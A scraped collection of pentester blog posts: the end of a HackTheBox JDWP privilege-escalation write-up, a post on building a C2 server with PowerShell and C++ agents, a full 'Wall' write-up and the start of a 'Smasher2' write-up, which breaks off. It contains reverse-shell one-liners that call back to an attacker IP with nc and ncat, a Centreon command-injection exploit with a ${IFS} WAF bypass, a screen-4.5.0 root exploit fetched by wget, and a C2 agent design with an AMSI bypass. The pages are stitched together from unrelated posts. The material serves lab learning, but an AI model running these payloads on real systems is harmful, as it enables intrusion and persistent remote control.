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[email protected]:/dev/shm$ nano pwned.sh [email protected]:/dev/shm$ chmod +x pwned.sh [email protected]:/dev/shm$ cat pwned.sh #!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f [email protected]:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh [+] Targeting '127.0.0.1:8000' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' [+] Found Runtime class: id=b8c [+] Found Runtime.getRuntime(): id=7f40bc03e790 [+] Created break event id=2 [+] Waiting for an event on 'java.net.ServerSocket.accept'
Then from another ssh session I triggered a connection on port 8005:
[email protected]:/dev/shm$ nano pwned.sh [email protected]:/dev/shm$ chmod +x pwned.sh [email protected]:/dev/shm$ cat pwned.sh #!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f [email protected]:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh [+] Targeting '127.0.0.1:8000' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' [+] Found Runtime class: id=b8c [+] Found Runtime.getRuntime(): id=7f40bc03e790 [+] Created break event id=2 [+] Waiting for an event on 'java.net.ServerSocket.accept' [+] Received matching event from thread 0x1 [+] Selected payload '/dev/shm/pwned.sh' [+] Command string object created id:c31 [+] Runtime.getRuntime() returned context id:0xc32 [+] found Runtime.exec(): id=7f40bc03e7c8 [+] Runtime.exec() successful, retId=c33 [!] Command successfully executed [email protected]:/dev/shm$
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.
Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.
Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.
This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.
The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.
I couldn’t come up with a nice name so I would appreciate suggestions.
Listeners
Basic Info
Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.
A Listener object is instantiated with a name, a port and an IP address to bind to:
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classListener:
def__init__(self, name, port, ipaddress): self.name = name self.port = port self.ipaddress = ipaddress ...
Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:
if os.path.exists(self.agentsPath) == False: os.mkdir(self.agentsPath)
if os.path.exists(self.filePath) == False: os.mkdir(self.filePath)
...
After that it creates a key, saves it and stores it in a variable (more on generateKey() in the encryption part):
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... if os.path.exists(self.keyPath) == False: key = generateKey() self.key = key with open(self.keyPath, "wt") as f: f.write(key) else: with open(self.keyPath, "rt") as f: self.key = f.read() ...
The Flask Application
The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.
/reg
/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.
When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.
With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.
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@self.app.route("/reg", methods=['POST']) defregisterAgent(): name = ''.join(choice(ascii_uppercase) for i in range(6)) remoteip = flask.request.remote_addr hostname = flask.request.form.get("name") Type = flask.request.form.get("type") success("Agent {} checked in.".format(name)) writeToDatabase(agentsDB, Agent(name, self.name, remoteip, hostname, Type, self.key)) return (name, 200)
/tasks/<name>
/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.
It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).
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@self.app.route("/tasks/<name>", methods=['GET']) defserveTasks(name): if os.path.exists("{}/{}/tasks".format(self.agentsPath, name)): with open("{}{}/tasks".format(self.agentsPath, name), "r") as f: task = f.read() clearAgentTasks(name) return(task,200) else: return ('',204)
/results/<name>
/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.
It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.
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@self.app.route("/results/<name>", methods=['POST']) defreceiveResults(name): result = flask.request.form.get("result") displayResults(name, result) return ('',204)
/download/<name>
/download/<name> is responsible for downloading files, <name> is a placeholder for the file name, it only accepts GET requests.
It reads the requested file from the files path and it sends it.
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@self.app.route("/download/<name>", methods=['GET']) defsendFile(name): f = open("{}{}".format(self.filePath, name), "rt") data = f.read() f.close() return (data, 200)
/sc/<name>
/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.
It takes the script name, creates a download cradle in the following format:
I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.
As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.
When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).
After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.
After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.
Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:
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$task = (Invoke-WebRequest-UseBasicParsing-Uri$taskl-Method'GET').Content if (-Not [string]::IsNullOrEmpty($task)){
Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:
There are 5 valid commands, shell, powershell, rename, sleep and quit.
shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.
Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:
It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.
Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:
The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:
The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.
Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.
if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession);
return response;
}
The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:
self.name = name self.listener = listener self.remoteip = remoteip self.hostname = hostname self.Type = Type self.key = key
Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:
1
self.sleept = 3
After that it creates the needed directories and files:
if os.path.exists(self.Path) == False: os.mkdir(self.Path)
And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.
I won’t talk about the wrapper functions because we only care about the core functions.
First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:
with open(self.tasksPath, "w") as f: f.write(task)
As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).
Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:
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defclearTasks(self): if os.path.exists(self.tasksPath): os.remove(self.tasksPath) else: pass
Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.
The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:
The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:
if result == "": success("Agent {} completed task.".format(name)) else: key = agents[name].key if agents[name].Type == "p":
try: plaintext = DECRYPT(result, key) except: return0 if plaintext[:5] == "VALID": success("Agent {} returned results:".format(name)) print(plaintext[6:]) else: return0 else: success("Agent {} returned results:".format(name)) print(result)
Payloads Generator
Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.
PowerShell
Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.
The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).
It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.
It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.
The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.
In the source of the agent I added a few lines of code that do the following:
Open the file as a file stream.
Move to the end of the file.
Read 2 lines.
Save the first line in the IP variable.
Save the second line in the port variable.
Close the file stream.
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std::ifstream ifs(argv[0]);
ifs.seekg(TEMPLATE_EOF);
std::getline(ifs, ip); std::getline(ifs, sPort);
ifs.close();
To get the right EOF I had to compile the agent first, then update the agent source and compile again according to the size of the file.
For example this is the current definition of TEMPLATE_EOF for the x64 agent:
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#define TEMPLATE_EOF 52736
If we take a look at the size of the file we’ll find that it’s the same:
The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:
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defwinexe(listener, arch, outputname):
outpath = "/tmp/{}".format(outputname) ip = listeners[listener].ipaddress port = listeners[listener].port
if arch == "x64": copyfile("./lib/templates/winexe/winexe64.exe", outpath) elif arch == "x32": copyfile("./lib/templates/winexe/winexe32.exe", outpath) with open(outpath, "a") as f: f.write("{}\n{}".format(ip,port))
success("File saved in: {}".format(outpath))
Encryption
I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.
Let’s take a look at the crypto functions in both the server and the powershell agent.
Server
The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.
An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:
The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.
First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:
After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.
if ($IV) { if ($IV.getType().Name -eq"String") { $aesManaged.IV = [System.Convert]::FromBase64String($IV) } else { $aesManaged.IV = $IV } } if ($key) { if ($key.getType().Name -eq"String") { $aesManaged.Key = [System.Convert]::FromBase64String($key) } else { $aesManaged.Key = $key } } $aesManaged }
The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.
I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.
For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.
I created wrapper functions that read, write and remove objects from the databases:
with open(database, 'rb') as d: whileTrue: try: data.append(pickle.load(d)) except EOFError: break return data
defwriteToDatabase(database,newData): with open(database, "ab") as d: pickle.dump(newData, d, pickle.HIGHEST_PROTOCOL)
defremoveFromDatabase(database,name): data = readFromDatabase(database) final = OrderedDict()
for i in data: final[i.name] = i del final[name] with open(database, "wb") as d: for i in final: pickle.dump(final[i], d , pickle.HIGHEST_PROTOCOL)
Demo
I will show you a quick demo on a Windows Server 2016 target.
This is how the home of the server looks like:
Let’s start by creating a listener:
Now let’s create a payload, I created the three available payloads:
After executing the payloads on the target we’ll see that the agents successfully contacted the server:
Let’s rename the agents:
I executed 4 simple commands on each agent:
Then I tasked each agent to quit.
And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.
If you liked the article tweet about it, thanks for reading.
Ahmed Hesham aka 0xRick | Pentester / Red Teamer wannabe. [email protected]
About the blog
I enjoy hacking stuff as much as I enjoy writing about it. So here you can find write-ups for CTF challenges, articles about certain topics and even quick notes about different things that I want to remember.
Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds
[email protected]:~/Desktop/HTB/boxes/wall#
We got http on port 80 and ssh on port 22. Let’s check the web service.
The only interesting thing was /monitoring, however that path was protected by basic http authentication:
I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:
[email protected]:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />
[email protected]:~/Desktop/HTB/boxes/wall#
The response was a redirection to /centreon:
Centreon is a network, system, applicative supervision and monitoring tool. -github
Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API.
According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403.
I used wfuzz with darkweb2017-top10000.txt from seclists:
[email protected]:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000005: 403 0 L 2 W 17 Ch "qwerty"
000000006: 403 0 L 2 W 17 Ch "abc123"
000000008: 200 0 L 1 W 60 Ch "password1"
000000004: 403 0 L 2 W 17 Ch "password"
000000007: 403 0 L 2 W 17 Ch "12345678"
000000009: 403 0 L 2 W 17 Ch "1234567"
000000010: 403 0 L 2 W 17 Ch "123123"
000000001: 403 0 L 2 W 17 Ch "123456"
000000002: 403 0 L 2 W 17 Ch "123456789"
000000003: 403 0 L 2 W 17 Ch "111111"
000000011: 403 0 L 2 W 17 Ch "1234567890"
000000012: 403 0 L 2 W 17 Ch "000000"
000000013: 403 0 L 2 W 17 Ch "12345"
000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t"
^C
Finishing pending requests...
[email protected]:~/Desktop/HTB/boxes/wall#
password1 resulted in a 200 response so its the right password:
RCE | WAF Bypass –> Shell as www-data
I checked the version of centreon and it was 19.04:
It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:
The script attempts to configure a poller and this is the payload that’s sent in the POST request:
payload_info={"name":"Central","ns_ip_address":"127.0.0.1",# this value should be 1 always
"localhost[localhost]":"1","is_default[is_default]":"0","remote_id":"","ssh_port":"22","init_script":"centengine",# this value contains the payload , you can change it as you want
"nagios_bin":"ncat -e /bin/bash {0} {1} #".format(ip,port),"nagiostats_bin":"/usr/sbin/centenginestats","nagios_perfdata":"/var/log/centreon-engine/service-perfdata","centreonbroker_cfg_path":"/etc/centreon-broker","centreonbroker_module_path":"/usr/share/centreon/lib/centreon-broker","centreonbroker_logs_path":"","centreonconnector_path":"/usr/lib64/centreon-connector","init_script_centreontrapd":"centreontrapd","snmp_trapd_path_conf":"/etc/snmp/centreon_traps/","ns_activate[ns_activate]":"1","submitC":"Save","id":"1","o":"c","centreon_token":poller_token,}
nagios_bin is the vulnerable parameter:
# this value contains the payload , you can change it as you want
"nagios_bin":"ncat -e /bin/bash {0} {1} #".format(ip,port),
I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:
When I tried to save the configuration I got a 403:
That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash. a:
[email protected]:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337
[+] Retrieving CSRF token to submit the login form
exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
soup = BeautifulSoup(html_content)
[+] Login token is : ba28f431a995b4461731fb394eb01d79
[+] Logged In Sucssfully
[+] Retrieving Poller token
exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : d5702ae3de1264b0692afcef86074f07
[+] Injecting Done, triggering the payload
[+] Check your netcat listener !
[email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/usr/local/centreon/www$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/wall# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
[email protected]:/usr/local/centreon/www$ export TERM=screen
[email protected]:/usr/local/centreon/www$
Screen 4.5.0 –> Root Shell –> User & Root Flags
There were two users on the box, shelby and sysmonitor. I couldn’t read the user flag as www-data:
I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit.
The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box:
libhax.c:
Then I uploaded them to the box and did the rest of the exploit:
[email protected]:/home/shelby$ cd /tmp/
[email protected]:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-07 00:23:12-- http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'
libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s
2019-12-07 00:23:14 (11.7 KB/s) - 'libhax.so' saved [16144/16144]
[email protected]:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-07 00:23:20-- http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'
rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s
2019-12-07 00:23:22 (16.3 KB/s) - 'rootshell' saved [16832/16832]
[email protected]:/tmp$
[email protected]:/tmp$ cd /etc
[email protected]:/etc$ umask 000
[email protected]:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
[email protected]:/etc$ /bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
[email protected]:/etc$ /tmp/rootshell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
#
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135, I added it to /etc/hosts as smasher2.htb. Let’s jump right in!
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST
Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
[email protected]:~/Desktop/HTB/boxes/smasher2#
We got ssh on port 22, dns on port 53 and http on port 80.
DNS
First thing I did was to enumerate vhosts through the dns server and I got 1 result:
[email protected]:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135
;; global options: +cmd
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb. 604800 IN NS smasher2.htb.
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 299 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Fri Dec 13 07:36:43 EST 2019
;; XFR size: 6 records (messages 1, bytes 242)
[email protected]:~/Desktop/HTB/boxes/smasher2#
wonderfulsessionmanager.smasher2.htb, I added it to my hosts file.
Web Enumeration
http://smasher2.htb had the default Apache index page:
http://wonderfulsessionmanager.smasher2.htb:
The only interesting here was the login page:
I kept testing it for a while and the responses were like this one:
It didn’t request any new pages so I suspected that it’s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:
The only result that wasn’t 403 was /backup so I checked that and found 2 files:
Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:
By looking at auth.py I knew that these files were related to wonderfulsessionmanager.smasher2.htb.
auth.py: Analysis
auth.py:
#!/usr/bin/env python
importsesfromflaskimportsession,redirect,url_for,request,render_template,jsonify,Flask,send_from_directoryfromthreadingimportLockimporthashlibimporthmacimportosimportbase64importsubprocessimporttimedefget_secure_key():m=hashlib.sha1()m.update(os.urandom(32))returnm.hexdigest()defcraft_secure_token(content):h=hmac.new("HMACSecureKey123!",base64.b64encode(content).encode(),hashlib.sha256)returnh.hexdigest()lock=Lock()app=Flask(__name__)app.config['SECRET_KEY']=get_secure_key()Managers={}deflog_creds(ip,c):withopen("creds.log","a")ascreds:creds.write("Login from {} with data {}:{}\n".format(ip,c["username"],c["password"]))creds.close()defsafe_get_manager(id):lock.acquire()manager=Managers[id]lock.release()returnmanagerdefsafe_init_manager(id):lock.acquire()ifidinManagers:delManagers[id]else:login=["<REDACTED>","<REDACTED>"]Managers.update({id:ses.SessionManager(login,craft_secure_token(":".join(login)))})lock.release()defsafe_have_manager(id):ret=Falselock.acquire()ret=idinManagerslock.release()returnret@app.before_requestdefbefore_request():ifrequest.path=="/":ifnotsession.has_key("id"):k=get_secure_key()safe_init_manager(k)session["id"]=kelifsession.has_key("id")andnotsafe_have_manager(session["id"]):delsession["id"]returnredirect("/",302)else:ifsession.has_key("id")andsafe_have_manager(session["id"]):passelse:returnredirect("/",302)@app.after_requestdefafter_request(resp):returnresp@app.route('/assets/<path:filename>')defbase_static(filename):returnsend_from_directory(app.root_path+'/assets/',filename)@app.route('/',methods=['GET'])defindex():returnrender_template("index.html")@app.route('/login',methods=['GET'])defview_login():returnrender_template("login.html")@app.route('/auth',methods=['POST'])deflogin():ret={"authenticated":None,"result":None}manager=safe_get_manager(session["id"])data=request.get_json(silent=True)ifdata:try:tmp_login=dict(data["data"])except:passtmp_user_login=Nonetry:is_logged=manager.check_login(data)secret_token_info=["/api/<api_key>/job",manager.secret_key,int(time.time())]try:tmp_user_login={"username":tmp_login["username"],"password":tmp_login["password"]}except:passifnotis_logged[0]:ret["authenticated"]=Falseret["result"]="Cannot authenticate with data: %s - %s"%(is_logged[1],"Too many tentatives, wait 2 minutes!"ifmanager.blockedelse"Try again!")else:iftmp_user_loginisnotNone:log_creds(request.remote_addr,tmp_user_login)ret["authenticated"]=Trueret["result"]={"endpoint":secret_token_info[0],"key":secret_token_info[1],"creation_date":secret_token_info[2]}exceptTypeErrorase:ret["authenticated"]=Falseret["result"]=str(e)else:ret["authenticated"]=Falseret["result"]="Cannot authenticate missing parameters."returnjsonify(ret)@app.route("/api/<key>/job",methods=['POST'])defjob(key):ret={"success":None,"result":None}manager=safe_get_manager(session["id"])ifmanager.secret_key==key:data=request.get_json(silent=True)ifdataandtype(data)==dict:if"schedule"indata:out=subprocess.check_output(['bash','-c',data["schedule"]])ret["success"]=Trueret["result"]=outelse:ret["success"]=Falseret["result"]="Missing schedule parameter."else:ret["success"]=Falseret["result"]="Invalid value provided."else:ret["success"]=Falseret["result"]="Invalid token."returnjsonify(ret)app.run(host='127.0.0.1',port=5000)
I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job:
So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz, Administrator worked:
WAF Bypass –> RCE –> Shell as dzonerzy –> User Flag
